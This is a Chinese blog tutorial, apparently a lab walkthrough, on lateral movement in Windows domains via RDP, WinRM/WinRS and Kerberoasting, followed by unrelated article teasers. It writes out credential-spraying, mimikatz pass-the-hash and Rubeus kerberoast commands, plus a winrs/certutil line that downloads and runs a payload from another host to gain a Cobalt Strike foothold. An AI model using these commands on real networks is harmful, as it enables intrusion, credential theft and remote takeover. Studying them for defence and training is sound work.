内网安全:RDP WinRS WinRM SPN Kerberos 横向移动

目录

WinRM协议

RDP协议

域横向移动:RDP协议

RDP协议利用

一. 探针服务

二. 获取NTML Hash 明文密码

三. 连接执行

域横向移动:WinRM WinRS

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

三. 上线CS

四. CS插件横向移动

域横向移动:SPN Kerberos

 通过SPN协议信息收集

Kerberoasting 攻击

攻击原理

一. SPN扫描​​​​​​​

二. 检测RC4加密的服务票据

手工检测可以攻击的票据

三. Mimikatz导出票据

四. 使用脚本破解票据


WinRM协议

WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和命令执行。它使用基于Web服务的标准协议,如HTTP或HTTPS,并使用SOAP消息格式进行通信。WinRM提供了更全面的远程管理功能,包括执行命令、配置设置、获取系统信息、安装软件等操作。它通常与PowerShell等工具结合使用,使管理员能够远程管理和监控Windows计算机。

WinRM(Windows 远程管理)是由 Microsoft 开发的一种用于远程管理和管理员 Windows 系统的协议。它提供了一种标准化的方式来与远程计算机进行通信和执行远程管理任务。

以下是 WinRM 协议的一些关键方面:

  1. 通信协议:WinRM 基于 Web Services Management(WS-Management)标准,使用 SOAP(简单对象访问协议)通过 HTTP 或 HTTPS 进行通信。它利用行业标准的协议和技术实现安全的远程通信。

  2. 身份验证:WinRM 支持多种身份验证方法,包括 Kerberos、NTLM(NT LAN Manager)和基本身份验证。身份验证方法的选择取决于环境的配置和安全要求。

  3. 端口和终结点:WinRM 默认使用 TCP 端口 5985(HTTP)和 5986(HTTPS)。远程计算机上需要启用 WinRM 服务并配置相应的终结点,以便进行远程管理。

  4. 指令执行:使用 WinRM,管理员可以远程执行命令、脚本和 PowerShell cmdlet,从而实现对远程 Windows 计算机的管理。这使得在无需直接物理访问计算机的情况下,能够高效地进行管理和故障排除任务。

  5. 远程配置和管理:WinRM 允许管理员远程配置 Windows 系统的各个方面,如网络设置、防火墙规则、组策略和服务。它提供了一个统一的接口,从中心管理站点对远程系统进行管理。

  6. 与 PowerShell 的集成:WinRM 与 PowerShell 密切集成,PowerShell 是 Microsoft 强大的命令行 shell 和脚本语言。PowerShell cmdlet 可以利用 WinRM 进行远程命令执行和从 Windows 系统检索管理信息。

WinRM 在企业环境中常用于远程管理、自动化和远程支持等方面。它使管理员能够从一个中心管理站点高效、安全地管理大量的 Windows 计算机。

WinRS是一个命令行工具,用于在远程计算机上执行命令。它使用WinRM协议进行通信,并可以通过命令行界面或批处理脚本使用。WinRS允许管理员通过命令行方式在远程计算机上执行命令,而不需要在远程计算机上登录交互式会话。它适用于一次性执行简单命令的场景,如执行远程脚本、复制文件、查询系统信息等。

RDP协议

RDP(Remote Desktop Protocol)是一种用于远程桌面连接和远程管理的协议。它允许用户通过网络远程访问和控制远程计算机的桌面界面。

以下是RDP协议的一般工作流程:

  1. 客户端连接:用户在本地计算机上运行RDP客户端应用程序,并提供要连接的远程计算机的IP地址或主机名。

  2. 连接建立:客户端通过TCP/IP协议与远程计算机的RDP服务建立连接。默认情况下,RDP使用端口3389。

  3. 身份验证:一旦连接建立,客户端需要进行身份验证。用户输入远程计算机的用户名和密码进行认证。这些凭据将在安全的加密通道中传输,以确保安全性。

  4. 会话建立:一旦身份验证成功,远程计算机将创建一个新的用户会话,并将其桌面界面传输回客户端。客户端可以实时查看和操作远程计算机的桌面。

  5. 远程控制:客户端通过RDP协议向远程计算机发送用户输入(例如键盘和鼠标操作),远程计算机将这些输入应用于其桌面界面。客户端可以远程控制远程计算机,并执行各种操作。

  6. 会话结束:当用户关闭RDP连接或断开网络连接时,远程会话结束,并且客户端和远程计算机之间的连接被断开。

RDP协议具有良好的图形传输性能和数据压缩能力,使得远程桌面操作可以以较低的延迟和高帧率进行。它广泛应用于远程技术支持、远程管理、远程办公等场景,提供了便捷的远程访问和控制功能。

域横向移动:RDP协议

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面
RDP连接:

  • 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
  • 建立节点进行连接(使用代理工具) 推荐
  • 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)

采用第二种方案,CS节点搭建,攻击机代理到CS上,直接攻击机上测试即可

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

RDP协议利用

一. 探针服务

cs 内置端口扫描3389

二. 获取NTML Hash 明文密码

CrackMapExec&MSF 批扫用户名密码验证

从Webserver上扫描得到域内用户名,读取所有的NTML Hash,明文密码

从本地管理员和域用户,两个角度扫描,最终得到用户对应的密码

proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt

三. 连接执行

明文连接:win攻击机 本地 桌面远控连接

mstsc /console /v:192.168.3.32 /admin

CS插件 NTML Hash连接

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

圆孔桌面 

两个用户同时登录主机

域横向移动:WinRM WinRS

利用WinRM服务,采用WinRS连接

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm rs的服务!

使用此服务需要管理员级别凭据

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启WinRM协议,WinRS命令

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

执行命令

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

三. 上线CS

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

四. CS插件横向移动

域横向移动:SPN Kerberos

SPN协议可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

Kerberoasting 攻击:这种攻击方式是建立在没有NTML Hash或者明文密码的情况下的,可以尝试采取破解rc4加密得到明文密码,再去横向移动的思路

这两个常常结合起来一起使用,SPN探针域内服务,利用工具筛选出可利用的服务(rc4加密),逆向破解得到明文密码。

Kerberoast攻击流程:

  1. SPN服务发现
  2. 请求服务票据(工具判断与powershell脚本判断)
  3. 服务票据的导出(mimikatz导出)
  4. 服务票据的暴力破解(使用密码字典进行RC4协议破解)

如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。这种加密方式是可以破解的

如果选择是AES,就是安全无法逆向破解的

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

 通过SPN协议信息收集

可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

shell setspn -T GOd.org -q */*

 根据服务筛选主机

powershell setspn -T God.org -q */* | findstr "MSSQL"

Kerberoasting 攻击

背景:拿下一台主机Win7,但是MImikatz抓取密码失败,没有获得任何的Hash,明文密码

原因:主机修改了注册表,打过补丁都有可能导致Mimikatz失败

攻击条件:票据采用RC4加密,可以采用工具Rebues检测或者查看票据加密类型

这里攻击的是服务票据,通过破解服务票据的到明文密码

攻击原理

Kerberoasting是一种针对Active Directory(AD)环境中使用Kerberos身份验证的服务的攻击技术。它利用了Kerberos协议的一个弱点,即服务账户的服务票据(Service Ticket)是基于服务账户的加密密码生成的。攻击者可以通过抓取到的服务票据离线破解该密码,并最终获取到服务账户的明文密码。

攻击的过程如下:

  1. 攻击者在AD环境中找到目标服务账户,并请求该服务账户的服务票据。

  2. AD会返回加密的服务票据给攻击者。

  3. 攻击者将加密的服务票据保存下来,离线进行破解。

  4. 攻击者使用密码破解工具(例如Hashcat)对保存的服务票据进行破解。由于服务票据是使用服务账户的密码生成的,因此攻击者可以通过尝试不同的密码来破解该密码。

  5. 一旦攻击者成功破解了服务账户的密码,他们就可以使用这个密码来登录该服务账户,获取进一步的访问权限。

一. SPN扫描

CS执行命令,在CS中探针域服务

shell setspn -T 0day.org -q */*

那个看着不方便,直接放到主机上看吧

powershell setspn -T 0day.org -q */*

得到当前域内所有主机上的服务

klist 查看当前主机的票据,每张票据的最下面表示加密的类型。TGT票据

二. 检测RC4加密的服务票据

检测方式一:利用工具

项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

.\Rebeus.exe kerberoast

检测出来SQL Server服务可以攻击 采用RC4 下面是Hash值

 klist查看,这工具本质也是请求服务,生成服务票据

但是没看到TGT票据,只有服务票据,很奇怪

检测方式二:手工检测,先请求生成票据,再检测

手工检测可以攻击的票据

 

三. Mimikatz导出票据

四. 使用脚本破解票据

得到明文密码,因为服务票据是提供服务的主机生成的,所以得到的明文密码也是提供服务的主机的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/364052.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于springboot+vue的阿博图书馆管理系统(前后端分离)

博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容:毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目背景…

Springboot项目基础配置:小白也能快速上手!

推荐文章 给软件行业带来了春天——揭秘Spring究竟是何方神圣(一) 给软件行业带来了春天——揭秘Spring究竟是何方神圣(二) 给软件行业带来了春天——揭秘Spring究竟是何方神圣(三) 给软件行业带来了春天—…

vue-cli项目运行流程介绍

一、前言 ​ 本文介绍 vue-cli搭建的项目运行流程,基于已经搭建好的基础项目。关于 vue-cli 构建项目的详细流程,可参考博文:使用vue脚手架构建项目 二、main.js 项目运行 会加载入口文件 main.js /* html文件中,通过script …

CTF盲水印工具:Blind-WaterMark安装

工具下载地址:GitCode - 开发者的代码家园 下载完毕后,只留这些东西就行 接下来需要安装两个依赖: opencv、matplotlib 直接pip install安装的话,工具使用会报错 所以需要到网站里挑选适合的版本进行安装 下载地址&#xff1…

DrissionPage多线程实践

DrissionPage多线程实践 背景:项目中需要抓取部分平台的数据,因为涉及到登录,且暂未实现接口登录。所以采用selenium登录后获取cookie传给requests的方式来实现。后了解到DrissionPage国产开源库,等于是把selenium和requests结合起…

部署YUM仓库服务

一、yum仓库 1. yum简介 yum是一个基于RPM包(是Red-Hat Package Manager红帽软件包管理器的缩写)构建的软件更新机制,能够自动解决软件包之间的依赖关系。 为什么会有依赖关系的发生 因为linux本身就是以系统简洁为自身优势,所以…

大数据信用报告应该去哪里查询比较好呢?

对于个人而言,大数据信用报告也变得越来越重要。那么,大数据信用报告应该去哪里查询呢?本文将为您详细介绍征信和大数据的区别,并推荐一个可靠的大数据平台。 首先,我们需要了解征信和大数据的区别 征信报告 依法采集、整理、保存…

day13_oop_抽象类_接口

今日内容 零、 复习昨日 一、作业 二、抽象 三、接口 零、 复习昨日 final的作用 最终的,修饰的类,属性,方法不能改变类不能继承,属性不能改变(常量),方法不能重写 static修饰方法的特点 修饰的属性方法在内存只有一份随着类加载而初始化不要new,可以通过类名直接调用被该类的所…

异或运算实现加密解密

异或运算符^,相同为0,不同为1(同0非1) 由异或运算法则可知:a ^ a 0,a ^ 0 a 如果c a ^ b,那么a b ^ c,即a ^ b ^ b a,^ 的逆运算仍然是 ^ 利用异或运算的性质&am…

LabVIEW船舶自动识别系统

在现代航海领域,安全高效的船舶自动识别系统对于保障航行安全和提高船舶管理效率非常重要。介绍了利用LabVIEW软件开发的一个船舶自动识别系统,该系统通过先进的数据采集和信号处理技术,显著提升了传统自动识别系统的性能。 这个船舶自动识别…

IAR编译和调试CMS32L051

0 Preface/Foreword 0.1 参考文档 中微半导体BAT系列单片机学习笔记_V1.1.pdf 1 配置方法 1.1 编译工具链添加 CMS对于IAR工具,有一个插件文件,用于安装对应的CMS系列芯片。 工具名称:iar_plug20210926.7z 按照完成之后,可…

电脑监控软件都有哪些?哪款好用?

在当今数字化时代,电脑监控软件已经成为企业和个人用户保障信息安全、管理电脑资源的重要工具。市场上存在多种电脑监控软件,每款软件都有其独特的优点和适用场景。本文将为您介绍几款常见的电脑监控软件,并分析哪款更适合您的需求。 绿虫电…

【windows计算md5】

windows计算md5 使用Windows系统自带的certutil命令。在命令提示符中输入“certutil -hashfile 文件路径 MD5”即可计算文件的MD5值。 例如,要计算D盘根目录下的test.txt文件的MD5值, 可以输入certutil -hashfile D:\test.txt MD5

接口测试(jmeter和postman 接口使用)

接口测试基础知识 接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。把前端(client)和后端(server)联系起来,测试的重点是要检查数据的交换,传递和控制管理过程,以及系…

7.2、子集求和问题与背包密码系统

7.2、子集求和问题与背包密码系统 一、数学描述 1.1、第一种描述 20 世纪 70 年代末,默克尔和赫尔曼首次尝试将密码系统建立在一个 NP-完全问题上。他们使用了以下数学问题的一个版本,该问题是对经典knapsack问题的概括。 子集和问题 假设你有一个正…

MySQL索引的原理和SQL优化策略

1. 索引 在InnoDB存储引擎中,索引分为聚簇索引和辅助索引两种类型。 聚簇索引是指基于表的主键构建的索引,它决定了表中数据的物理存储顺序。也就是说,聚簇索引中的键值按照主键的顺序来排序,并且每个叶子节点存储的是整个表行的…

关于数组中相邻元素的合并处理方法总结

这两天在开发需求的过程中,需要处理一个数组数据,对相邻元素的具有相同的点合并元素里面的数组。 我们先看一下处理的数组是什么样的。 let array [{name: 数据来源1,list: [{dataCode: 12,dataName: 照片,dataSort: 20,fileList: []}]}, {name: 数据来…

React18-模拟列表数据实现基础表格功能

文章目录 分页功能分页组件有两种接口参数分页类型用户列表参数类型 模拟列表数据分页触发方式实现目录 分页功能 分页组件有两种 table组件自带分页 <TableborderedrowKey"userId"rowSelection{{ type: checkbox }}pagination{{position: [bottomRight],pageSi…

python 实现 macOS状态栏 网速实时显示

安装依赖包&#xff1a; pip install pillow psutil rumpsnetSpeedApp.py from PIL import Image, ImageDraw, ImageFont import psutil import rumpsclass NetSpeedApp(rumps.App):def __init__(self):super(NetSpeedApp, self).__init__("NetSpeed")self.titlese…

【javase】——类和对象

莫道桑榆晚&#xff0c;为霞尚满天。文章目录 面向对象的初步认识面向对象与面向过程什么是面向对象 类的定义和使用类的定义格式 类的实例化什么是实例化类和对象的使用 this引用什么是this引用this 引用的特性。 对象的构造以及初始化如何初始化对象构造方法首先第一&#xf…